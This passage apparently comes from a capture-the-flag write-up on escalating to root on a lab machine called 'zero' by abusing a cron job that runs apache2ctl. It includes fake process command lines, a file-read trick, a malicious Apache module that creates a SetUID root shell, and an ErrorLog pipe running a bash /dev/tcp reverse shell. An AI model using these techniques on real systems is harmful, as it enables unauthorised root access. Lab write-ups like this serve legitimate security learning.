zroadmin 93631 0.2 0.0 7236 516 pts/0 S+ 10:35 0:00 0xdf_was_here 60
Interestingly, this doesn’t show up in pgrep 0xdf
, but rather only in pgrep -f
, as the first checks the legit process and the second checks the full command line:
zroadmin@zero:~$ pgrep '0xdf_was_here'
zroadmin@zero:~$ pgrep -f '0xdf_was_here'
93631
Improved Fake Process Command Line
The first two ways I found to exploit this worked fine with Python using execv
. The problem is that I can’t do anything to get rid of the -t
.
If I use Perl, that gets even easier. Perl allows me to overwrite the $0
variable and change the command line. For example:
#!/bin/perl
$0 = "fake_process!";
sleep(223);
This shows up in the process list as:
zroadmin 14460 0.0 0.1 12496 5032 pts/0 S+ 21:55 0:00 fake_process!
Here I don’t have to worry about the 223 argument showing up, which is nice.
Multiple apache2ctl -d
The -d
option in apache2ctl
is meant to be given once. It turns out that when it’s given multiple times, only the last one is used. That means I can append another -d <file>
to the end the command and that file will be executed.
apache2ctl
looks for a apache2.conf
file in the given directory with -d
(among other things). So I can pass it the /etc/apache2
directory:
zroadmin@zero:~$ apache2ctl -d /etc/apache2/ -t
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 10.129.234.62. Set the 'ServerName' directive globally to suppress this message
Syntax OK
If I also pass /dev/shm
, it fails:
zroadmin@zero:~$ apache2ctl -d /etc/apache2/ -d /dev/shm -t
apache2: Could not open configuration file /dev/shm/apache2.conf: No such file or directory
Action '-d /etc/apache2/ -d /dev/shm -t' failed.
The Apache error log may have more information.
But I’ve shown that only the last one is used. And that it’s trying to read apache2.conf
from the given directory.
Path Overview
With the ability to create a fake process and the ability to control the -d
input to apachectl
running as root, there are a few strategies I can take. I’ll show the initial way I solved getting partial file read, a failed attempt at command injection, and two other methods I got working to get a shell as root:
flowchart TD;
A(<a href="#exploit-primitives">apache2ctl Injection</a>)-->B(<a href='#command-injections-fail'>Command\nInjection</a>);
B--xC[Shell as root];
A-->D(<a href='#partial-file-read'>Include File Read</a>);
D-->E[root.txt];
C-->E;
A-->F(<a href='#shell-via-malicious-module'>Malicious\nModule</a>);
F-->C;
A-->G(<a href='#shell-via-log-pipe'>Log Pipe</a>);
G-->C;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
I’m sure there are other ways as well (CGI for example).
Command Injections [Fail]
I’m still pretty limited by the pgrep
regex. I don’t see a clever way for the “.” to be anything but spaces, and the command has to start with /opt/zroweb/sbin/apache2
with specific options. I can add things to the end of the command.
One thing that won’t work is joining multiple commands with “;” or “&” or “|”.
zroadmin@zero:~$ test="id"
zroadmin@zero:~$ $test
uid=666(zroadmin) gid=666(zroadmin) groups=666(zroadmin)
zroadmin@zero:~$ test="id; id"
zroadmin@zero:~$ $test
Command 'id;' not found, did you mean:
command 'id' from deb coreutils (8.30-3ubuntu2)
command 'idt' from deb ncl-ncarg (6.6.2-1build4)
command 'idn' from deb idn (1.33-2.2ubuntu2)
command 'id3' from deb id3 (1.1.0-3)
Try: apt install <deb name>
zroadmin@zero:~$ test="id | id"
zroadmin@zero:~$ $test
id: extra operand ‘id’
Try 'id --help' for more information.
Trying to get subshells fails too:
zroadmin@zero:~$ test='$(touch /home/zroadmin/yes)'
zroadmin@zero:~$ echo "$test"
$(touch /home/zroadmin/yes)
zroadmin@zero:~$ $test
$(touch: command not found
zroadmin@zero:~$ test='`touch /home/zroadmin/yes`'
zroadmin@zero:~$ $test
Command '`touch' not found, did you mean:
command 'ktouch' from deb ktouch (4:19.12.3-1ubuntu1)
command 'touch' from deb coreutils (8.30-3ubuntu2)
Try: apt install <deb name>
Partial File Read
POC
apache2ctl
has a page on GTFOBins showing how to use it for file read:

To make sure the command works, I’ll copy the entire /etc/apache2
directory into /dev/shm
named fileread
:
zroadmin@zero:~$ cp -R /etc/apache2 /dev/shm/fileread
I’ll add a line to the top of /dev/shm/fileread/apache2.conf
:
Include /etc/passwd
Now when I run the command pointing at that config, it errors out:
zroadmin@zero:/dev/shm$ apache2ctl -d /etc/apache2/ -d /dev/shm/fileread -t
AH00526: Syntax error on line 1 of /etc/passwd:
Invalid command 'root:x:0:0:root:/root:/bin/bash', perhaps misspelled or defined by a module not included in the server configuration
Action '-d /etc/apache2/ -d /dev/shm/fileread -t' failed.
The Apache error log may have more information.
I’m able to read the top line of files.
Log
This still isn’t a complete solution as I don’t have access to the stdout or stderr from the running cron. The apache2ctl
docs say that:
When acting in pass-through mode,
apachectl
can take all the arguments available for thehttpd
binary.**apachectl** [ httpd-argument ]
The httpd
docs show a -E <file>
option that seems perfect:
-E file
Send error messages during server startup to file.
It works:
zroadmin@zero:/dev/shm$ apache2ctl -d /etc/apache2/ -d /dev/shm/fileread -E /dev/shm/out -t
Action '-d /etc/apache2/ -d /dev/shm/fileread -E /dev/shm/out -t' failed.
The Apache error log may have more information.
zroadmin@zero:/dev/shm$ cat out
AH00526: Syntax error on line 1 of /etc/passwd:
Invalid command 'root:x:0:0:root:/root:/bin/bash', perhaps misspelled or defined by a module not included in the server configuration
Flag Read
Putting this all together, I’ll create a process that root will run that will try to include /root/root.txt
, but fail and get logged somewhere I can read.
I’ll update /dev/shm/apache2/apache2.conf
to include /root/root.txt
.
I’ll update my Python script to fake the necessary process command line:
import os
os.execv('/bin/sleep', ['/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log', "223"])
I’ll run this, and it hangs sleeping. While I wait, I can use the pgrep
command to see that it’s working:
zroadmin@zero:/dev/shm$ /usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf"
3496 /opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log 223
This will actually fail before it has a chance to log because of the stray 223 (the sleep time) at the end. I’ll find a parameter that can take that as input (-c <directive>
for “Process the configuration directive after reading config files.” seems like a good one), and update the Python script:
import os
os.execv('/bin/sleep', ['/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c', "223"])
That looks better:
zroadmin@zero:/dev/shm$ /usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf"
3883 /opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 223
The next time the cron runs, the flag is in the log file:
zroadmin@zero:/dev/shm$ cat fileread.log
AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command '015c84275247026ff80c2432a360be0d', perhaps misspelled or defined by a module not included in the server configuration
Shell via Malicious Module
When apache2ctl
tests a configuration, it does actually load the modules to make sure they work. I’ll crearte a malicious module to get execution as root.
I’ll copy /etc/apache2
to make another fake directory to work from:
zroadmin@zero:/dev/shm$ cp -R /etc/apache2/ module
I’ll start with some minimal module code (with an assist from ChatGPT):
#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "ap_config.h"
static void myinit(apr_pool_t *p, server_rec *s) {
system("cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 6777 /tmp/0xdf");
}
module AP_MODULE_DECLARE_DATA mymodule = {
STANDARD20_MODULE_STUFF,
NULL, NULL, NULL, NULL, NULL,
NULL
};
__attribute__((constructor))
static void _init() { myinit(NULL, NULL); }
apxs
will build this into a module:
zroadmin@zero:/dev/shm$ apxs -c 0xdfmodule.c
/usr/share/apr-1.0/build/libtool --mode=compile --tag=disable-static x86_64-linux-gnu-gcc -prefer-pic -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DLINUX -D_REENTRANT -D_GNU_SOURCE -pthread -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1.0 -I/usr/include -c -o 0xdfmodule.lo 0xdfmodule.c && touch 0xdfmodule.slo
libtool: compile: x86_64-linux-gnu-gcc -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DLINUX -D_REENTRANT -D_GNU_SOURCE -pthread -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1.0 -I/usr/include -c 0xdfmodule.c -fPIC -DPIC -o .libs/0xdfmodule.o
0xdfmodule.c: In function ‘myinit’:
0xdfmodule.c:7:5: warning: ignoring return value of ‘system’, declared with attribute warn_unused_result [-Wunused-result]
7 | system("cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 6777 /tmp/0xdf");
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/usr/share/apr-1.0/build/libtool --mode=link --tag=disable-static x86_64-linux-gnu-gcc -Wl,--as-needed -Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-z,now -o 0xdfmodule.la -rpath /usr/lib/apache2/modules -module -avoid-version 0xdfmodule.lo
libtool: link: x86_64-linux-gnu-gcc -shared -fPIC -DPIC .libs/0xdfmodule.o -Wl,--as-needed -Wl,-Bsymbolic-functions -Wl,-z -Wl,relro -Wl,-z -Wl,now -Wl,-soname -Wl,0xdfmodule.so -o .libs/0xdfmodule.so
libtool: link: ( cd ".libs" && rm -f "0xdfmodule.la" && ln -s "../0xdfmodule.la" "0xdfmodule.la"
There are error messages, but it worked:
zroadmin@zero:/dev/shm$ file .libs/0xdfmodule.so
.libs/0xdfmodule.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=2a8886fbba4c51abe69826a5e9d8220b5a25583f, with debug_info, not stripped
I’ll drop this in the modules
directory in my Apache directory:
zroadmin@zero:/dev/shm$ mkdir module/modules
zroadmin@zero:/dev/shm$ cp .libs/0xdfmodule.so module/modules/
Finally, I need to update the apache2.conf
by adding this line to the top:
LoadModule 0xdfmodule modules/0xdfmodule.so
With all of that in place, I’ll update my fake process and run it:
import os
os.execv('/bin/sleep', ['/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/module -c', "223"])
Once the minute rolls over, there’s a SetUID bash
in /tmp
:
zroadmin@zero:/dev/shm$ ls -l /tmp/0xdf
-rwsrwsrwx 1 root root 1183448 Aug 10 20:44 /tmp/0xdf
zroadmin@zero:/dev/shm$ /tmp/0xdf -p
0xdf-5.0#
Shell Via Log Pipe
I’ll create another working directory. This time I’ll just completely stage the configuration directory from scratch:
zroadmin@zero:/dev/shm$ mkdir errorlog
zroadmin@zero:/dev/shm$ vim errorlog/apache2.conf
The apache2.conf
file will be:
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
ServerRoot "/dev/shm/"
Listen 9999
ServerName localhost
ErrorLog "|/dev/shm/rev.sh"
The "|/dev/shm/rev.sh"
directive says to log errors by running my script. I’ll set that as a simple reverse shell (making sure to chmod +x
it to make it executable):
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.79/443 0>&1
For this one, I’ll need to get rid of the -t
on the end of the command to get it fully running. To do that, I’ll use the Perl:
#!/bin/perl
$0 = "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/errorlog -D";
sleep(223);
This sets the running process to opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/errorlog -D
, which will become opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -d /dev/shm/errorlog -D -t
. I’m stomping the -t
by making it the string passed to the -D
, which is just a name configuration parameter.
In about a minute, I get a shell:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.62 46374
bash: cannot set terminal process group (52934): Inappropriate ioctl for device
bash: no job control in this shell
root@zero:/dev/shm#
If something goes wrong, this attack can leave the Apache process running, which means the next time it runs on the cron the process will just respond that this server is running and quit. If it doesn’t work, I’ll need to rename the configuration directory to try again.